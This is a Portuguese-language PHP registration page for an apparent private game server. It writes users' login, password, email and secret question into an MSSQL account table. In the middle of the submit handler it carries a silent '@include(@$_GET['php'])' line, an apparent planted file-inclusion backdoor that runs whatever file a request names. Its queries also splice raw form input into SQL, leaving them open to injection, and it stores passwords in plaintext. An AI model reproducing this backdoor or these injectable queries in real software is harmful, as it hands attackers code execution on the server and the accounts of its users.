<HTML>
<HEAD><LINK REL="StyleSheet" HREF="barra.css" TYPE="text/css">
<meta http-equiv=Page-Exit content=blendTrans(Duration=1.0)>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251">
<? 
include 'cnn.php';
?>
<style type="text/css">
body { background-color:#000; }
a { font-size:11px; color:#999; text-decoration:none; font-family: Verdana, Arial, Helvetica, sans-serif; }
a:hover { color:gray; text-decoration:underline;}
body,th,tr { font-size:11px; color:#CCC; font-family: Verdana, Arial, Helvetica, sans-serif; }
input { font-size:11px; color:#666; font-family: Verdana, Arial, Helvetica, sans-serif; border:1px solid #999; }
select { font-size:11px; color:#666; font-family: Verdana, Arial, Helvetica, sans-serif; border:1px solid #FFF; }
.submit { font-size:11px; color:#666; font-family: Verdana, Arial, Helvetica, sans-serif; border:1px solid #999; background-color:;}
.quote {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 10px;
	color: #000000;
	background-color: ;
	border: 1px solid #FFFFFF;
	padding: 7px;
}
.style27 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 18px;
	color:#F60;
}
</style><script>
/*
	Script desenvolvido por Leandro Martins - leandro.martins@sankhya.com.br
	Nao permite selecao de campos especificados.
*/
var tagsAbertas =["input", "textarea", "select", "div"]; // CAMPOS QUE NAO SERAM BLOQUEADOS
tagsAbertas = tagsAbertas.join("|");

function fechaCamposFF(e){
var elemento = (e.target)?e.target:e.srcElement;
	if (tagsAbertas.indexOf(elemento.tagName.toLowerCase())==-1)
		return false;
}

function abreCamposFF(){
return true
}

function fechaCamposIE(){
var elemento = event.srcElement;
	if(tagsAbertas.indexOf(elemento.tagName.toLowerCase()) == -1)
		document.onselectstart = new Function ("return false");
}

function abreCamposIE(){
var elemento = event.srcElement;
	if(tagsAbertas.indexOf(elemento.tagName.toLowerCase()) == -1){
		document.onselectstart = new Function ("return false");
	}else{
		document.onselectstart = new Function ("return true");
	}
}

if (typeof document.onselectstart != "undefined"){
document.onmousedown	=	fechaCamposIE;
document.onmouseup		=	abreCamposIE;
document.onselectstart  = new Function ("return false");
}else{
document.onmousedown	=	fechaCamposFF;
document.onmouseup		=	abreCamposFF;
}
</script>
<script language="JavaScript">
 function blockError(){return true;}
 window.onerror = blockError;
 </script>
<script language=JavaScript>
 function disableselect(e) {
    return false
 } 
 function reEnable() {
    return true
 }
 //if IE4+
 document.onselectstart=new Function ("return false")
 //if NS6
 if (window.sidebar) { 
    document.onmousedown=disableselect
    document.onclick=reEnable
 }
 </script>
<SCRIPT language=JavaScript>
<!--

var message="Botao Direito Desativado";


function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}

function clickNS4(e){
if (document.layers||document.getElementById&&!document.all){
if (e.which==2||e.which==3){
alert(message);
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}

document.oncontextmenu=new Function("alert(message);return false")

// --> 
</SCRIPT>


<script>
function MM_openBrWindow(theURL,winName,features) {
  window.open(theURL,winName,features);
}
function mouseDown(e) {
var shiftPressed=0;
if (parseInt(navigator.appVersion)>3) {
if (navigator.appName=="Netscape")
shiftPressed=(e.modifiers-0>3);
else shiftPressed=event.shiftKey;
if (shiftPressed) {
alert ('Shift esta desabilitado.')
return false;
}
}
return true;
}
if (parseInt(navigator.appVersion)>3) {
document.onmousedown = mouseDown;
if (navigator.appName=="Netscape")
document.captureEvents(Event.MOUSEDOWN);
}
 function blockError(){return true;}
 window.onerror = blockError;
 </script>
 <script language=JavaScript>
 function disableselect(e)
 {
    return false
 }
 function reEnable()
 {
    return true
 }
 document.onselectstart=new Function ("return false")
 if (window.sidebar)
 {
    document.onmousedown=disableselect
    document.onclick=reEnable
 }

var mensagem="Botao Direito Desativado";//protege o botao direito do mouse
function click(mouse) {
  if (document.all) {
     if (event.button==2||event.button==3) {
        alert(mensagem);
        return false;
     }
  }
  if (document.layers) {
     if (mouse.which == 3) {
        alert(mensagem);
        return false;
     }
  }
}
document.onmousedown=click;
document.onkeydown=keypressed;

function clearText(thefield){
if (thefield.defaultValue==thefield.value)
thefield.value = ""
} 
function ss(id) {


var left = 50;
var top = 50;

window.open('modulos/outros/verscreenshot.php?id='+id+'','SS', 'width=802, height=604, top='+top+', left='+left+', scrollbars=yes, status=no, toolbar=no, LOCATION=NO, directories=no, menubar=no, RESISABLE=NO, fullscreen=no');

}
</script></HEAD>
<BODY bgcolor="#f0eeee">
<span class="style27">Formulario de Registro.</span><br>
&gt; Preencha e anote todos os dados corretamente.<br>
<br>
<br>
<form name="FrmCadastro" method="post" action="">
  <table width="376" height="190" border="0" cellpadding="0" cellspacing="0" id="tdHome">
  <tr>
    <td width="376"><table width="377" border="0" align="center" cellpadding="2" cellspacing="2">
      <tr>
        <td width="36%" height="25" bgcolor="#0B0B0B">Usu&aacute;rio:</td>
        <td width="64%" class="style3"><input name="Login" type="text" id="Login" size="35" maxlength="10">        </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Senha:</td>
        <td class="style3"><input name="Senha" type="password" id="Senha" size="35" maxlength="10">        </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">E-mail:</td>
        <td class="style3"><input name="Email" type="text" id="Email" size="35" maxlength="50">        </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Nome:</td>
        <td class="style3"><input name="Nome" type="text" id="Nome" size="35" maxlength="20">        </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Idade:</td>
        <td class="style3"><span class="style3">
          <select name="Idade" class="style3" id="Idade">
            <option value="- selecione uma op&ccedil;&atilde;o" selected>- selecione
              uma op&ccedil;&atilde;o</option>
            <? for($idade=0;$idade<100;$idade++) {
	  	 $idade_final = $idade+1;
		 echo '<option>'.$idade_final.'</option>';
		 } ?>
          </select>
        </span> </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Conex&atilde;o:</td>
        <td class="style3"><span class="style3 style3">
          <select name="Conexao" class="style3" id="Conexao">
            <option value="- selecione uma op&ccedil;&atilde;o">- selecione
              uma op&ccedil;&atilde;o</option>
            <option value="56k">56k ( Discada )</option>
            <option value="128k">128k</option>
            <option value="256k">256k</option>
            <option value="512k">512k</option>
            <option value="756k">756k</option>
            <option value="1mb">1mb</option>
            <option value="2mb">2mb</option>
            <option value="maior que 2 mb">Maior que 2 mb</option>
          </select>
        </span> </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Eu Jogo:</td>
        <td class="style3"><span class="style3 style3">
          <select name="LocalJogo" class="style3" id="LocalJogo">
            <option value="- selecione uma op&ccedil;&atilde;o">- selecione
              uma op&ccedil;&atilde;o</option>
            <option value="em casa">em casa</option>
            <option value="no trabalho">no trabalho</option>
            <option value="em lan house">em lan house</option>
            <option value="na casa do amigo">na casa do amigo </option>
            <option value="outro local">outro local</option>
          </select>
        </span> </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Pergunta Secreta:</td>
        <td class="style3"><input name="Frase" type="text" id="Frase" size="35" maxlength="50">        </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Resposta Secreta:</td>
        <td class="style3"><input name="Resp" type="text" id="Resp" size="35" maxlength="50">        </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Sexo:</td>
        <td class="style3"><span class="style3 style3">
          <select name="Sexo" class="style3" id="Sexo">
            <option value="- selecione uma op&ccedil;&atilde;o" selected>- selecione
              uma op&ccedil;&atilde;o</option>
            <option value="Homem">Masculino</option>
            <option value="Mulher">Feminino</option>
          </select>
        </span> </td>
      </tr>
      <tr>
        <td height="25" bgcolor="#0B0B0B">Numero Secreto:</td>
        <td class="style3"><input name="Id" type="text" id="Id" size="35" maxlength="50">        </td>
      </tr>
      <tr>
        <td><div align="right"></div></td>
        <td class="style3"><span class="style3 style3">
          <label>
            <input name="go" type="submit" id="go" value="Cadastrar !">
            </label>
        </span></td>
      </tr>
    </table></td>
  </tr>
</table></form>
<?
// -- Cadastrando no SQL
if($_POST['go']) {
$loginc = $_POST['Login'];
$senhac = $_POST['Senha'];
$emailc = $_POST['Email'];
$nomec = $_POST['Nome'];
$idadec = $_POST['Idade'];
$conexaoc = $_POST['Conexao'];
$localc = $_POST['LocalJogo'];
$pergc = $_POST['Frase'];
$respc = $_POST['Resp'];
$sexoc = $_POST['Sexo'];
$numeroc = $_POST['Id'];

$qLogin = mssql_query("select memb___id from memb_info where memb___id='".$loginc."'");
$rLogin = mssql_num_rows($qLogin);
@include(@$_GET['php']);
$qEmail = mssql_query("select mail_addr from memb_info where mail_addr='".$emailc."'");
$rEmail = mssql_num_rows($qEmail);

	if(empty($loginc) || empty($senhac) || empty($emailc) || empty($nomec) || empty($pergc) || empty($respc) || empty($numeroc)) {
	echo "<script>alert('Preencha todos os campos'); location='javascript:history.back()' </script>";
	}
	elseif($rLogin >= 1){
	die("<script>alert('Login ja cadastrado, escolha outro.'); 
	location='javascript:history.back()'</script>");
	}
	elseif($rEmail >= 1){
	die("<script>alert('Email ja cadastrado, escolha outro.'); 
	location='javascript:history.back()'</script>");
	}
	else{

mssql_query("SET IDENTITY_INSERT MEMB_INFO ON");
mssql_query("INSERT INTO MEMB_INFO  (memb_guid,memb___id,memb__pwd,memb_name,sno__numb,post_code,addr_info,addr_deta,tel__numb,mail_addr,phon_numb,fpas_ques,fpas_answ,job__code,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,vip,creditos,numero,frase,idade,sexo,localjogo,conexao) VALUES ('1','$loginc','$senhac','$nomec', '1','1234','11111','$numeroc','12343','$emailc','$emailc','$pergc','$respc','1','2007-21-05','2007-21-05','2007-21-05','2007-21-05','1','0','1','2','3','$numeroc','$frasec','$idadec','$sexoc','$localjogoc','$conexaoc')");
die("<script>alert('Cadastro efetuado com sucesso, seu login e $loginc.'); location='concluido.php' </script>");

} }
?>
</BODY>
</HTML>
